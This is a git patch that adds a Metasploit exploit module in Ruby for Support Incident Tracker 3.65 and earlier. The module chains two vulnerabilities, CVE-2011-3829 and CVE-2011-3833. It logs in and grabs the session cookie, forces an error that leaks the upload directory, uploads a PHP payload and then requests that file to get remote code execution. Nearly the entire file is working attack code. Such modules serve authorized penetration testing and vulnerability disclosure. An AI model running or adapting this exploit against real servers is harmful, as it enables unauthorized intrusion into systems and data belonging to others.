From 41d746a07acb32af3cb2fb234ae53a3bdc301501 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 12 Nov 2011 12:36:21 -0600 Subject: [PATCH] Add Support Incident Tracker (Feature #5964) by Juan --- .../exploits/multi/http/sit_file_upload.rb | 212 ++++++++++++++++++ 1 file changed, 212 insertions(+) create mode 100644 modules/exploits/multi/http/sit_file_upload.rb diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb new file mode 100644 index 0000000000..60fc1e5d6e --- /dev/null +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -0,0 +1,212 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Support Incident Tracker <= 3.65 Remote Command Execution', + 'Description' => %q{ + This module combines two separate issues within Support Incident Tracker (<= 3.65) + application to upload arbitrary data and thus execute a shell. The two issues exist + in ftp_upload_file.php. + The first vulnerability exposes the upload dir used to store attachments. + The second vulnerability allows arbitrary file upload since there is no + validation function to prevent from uploading any file type. + Authentication is required to exploit both vulnerabilities. + }, + 'Author' => + [ + 'Secunia Research', # Original discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', 'CVE-2011-3829'], + ['CVE', 'CVE-2011-3833'], + ['OSVDB', '76999'], + ['OSVDB', '77003'], + ['URL', 'http://secunia.com/secunia_research/2011-75/'], + ['URL', 'http://secunia.com/secunia_research/2011-79/'], + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + 'Compat' => + { + 'ConnectionType' => 'find', + } + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Nov 10 2011', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI', [true, "SiT! directory path", "/sit"]), + OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]), + OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]), + ], self.class) + end + + def check + + if datastore['URI'][-1, 1] == "/" + uri = datastore['URI'] + "index.php" + else + uri = datastore['URI'] + "/index.php" + end + + res = send_request_raw({ + 'uri' => uri + }) + + if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/) + ver = [ $1.to_i, $2.to_i ] + print_status("SiT! #{ver[0]}.#{ver[1]}") + + if (ver[0] == 3 and ver[1] == 65) + return Exploit::CheckCode::Vulnerable + elsif (ver[0] == 3 and ver[1] < 65) + return Exploit::CheckCode::Appears + end + end + + return Exploit::CheckCode::Safe + end + + def retrieve_session(user, pass) + + if datastore['URI'][-1, 1] == "/" + uri = datastore['URI'] + "login.php" + else + uri = datastore['URI'] + "/login.php" + end + + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'data' => "username=#{user}&password=#{pass}", + }, 25) + + if (res and res.code == 302 and res.headers['Location'] =~ /main.php/) + print_status("Successfully logged in as #{user}:#{pass}") + + if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/ + session = $1 + print_status("Successfully retrieved cookie: #{session}") + return session + else + raise RuntimeError, "Error retrieving cookie!" + end + else + raise RuntimeError, "Error logging in." + end + end + + def upload_page(session, newpage, contents) + + if datastore['URI'][-1, 1] == "/" + uri = datastore['URI'] + "ftp_upload_file.php" + else + uri = datastore['URI'] + "/ftp_upload_file.php" + end + + boundary = rand_text_alphanumeric(6) + + data = "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"file\"; " + data << "filename=\"#{newpage}\"\r\n" + data << "Content-Type: application/x-httpd-php\r\n\r\n" + data << contents + data << "\r\n--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n" + data << rand_text_alphanumeric(rand(10 + 10)) + data << "\r\n--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n" + data << rand_text_alphanumeric(rand(20) + 20) + data << "\r\n--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n" + data << "1" + data << "\r\n--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n" + data << "publish" + data << "\r\n--#{boundary}--" + + res = send_request_raw({ + 'uri' => uri, + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Type' => 'multipart/form-data; boundary=' + boundary, + 'Content-Length' => data.length, + 'Cookie' => "SiTsessionID=#{session}", + } + }, 25) + + if (res and res.code == 200) + print_status("Successfully uploaded #{newpage}") + return res + else + raise RuntimeError, "Error uploading #{newpage}" + end + end + + def retrieve_upload_dir(session) + data = rand_text_alphanumeric(rand(20)+20) + filename = rand_text_alphanumeric(rand(256) + 300) + res = upload_page(session, filename, data) + + if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/ + upload_dir = "attachments-#{$1}" + print_status("Successfully retrieved upload dir: #{upload_dir}") + return upload_dir + else + raise RuntimeError, "Error retrieving the upload dir" + end + + end + + def cmd_shell(cmdpath) + print_status("Calling payload: #{cmdpath}") + + if datastore['URI'][-1, 1] == "/" + uri = datastore['URI'] + cmdpath + else + uri = datastore['URI'] + "/#{cmdpath}" + end + + send_request_raw({ + 'uri' => uri + }, 25) + return + end + + def exploit + cmd_php = '' + cmdscript = rand_text_alphanumeric(rand(10)+10) + '.php' + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + session = retrieve_session(user, pass) + upload_dir = retrieve_upload_dir(session) # CVE-2011-3829 + upload_page(session, cmdscript, cmd_php) # CVE-2011-3833 + cmdpath = "#{upload_dir}/#{cmdscript}" + cmd_shell(cmdpath) + handler + end +end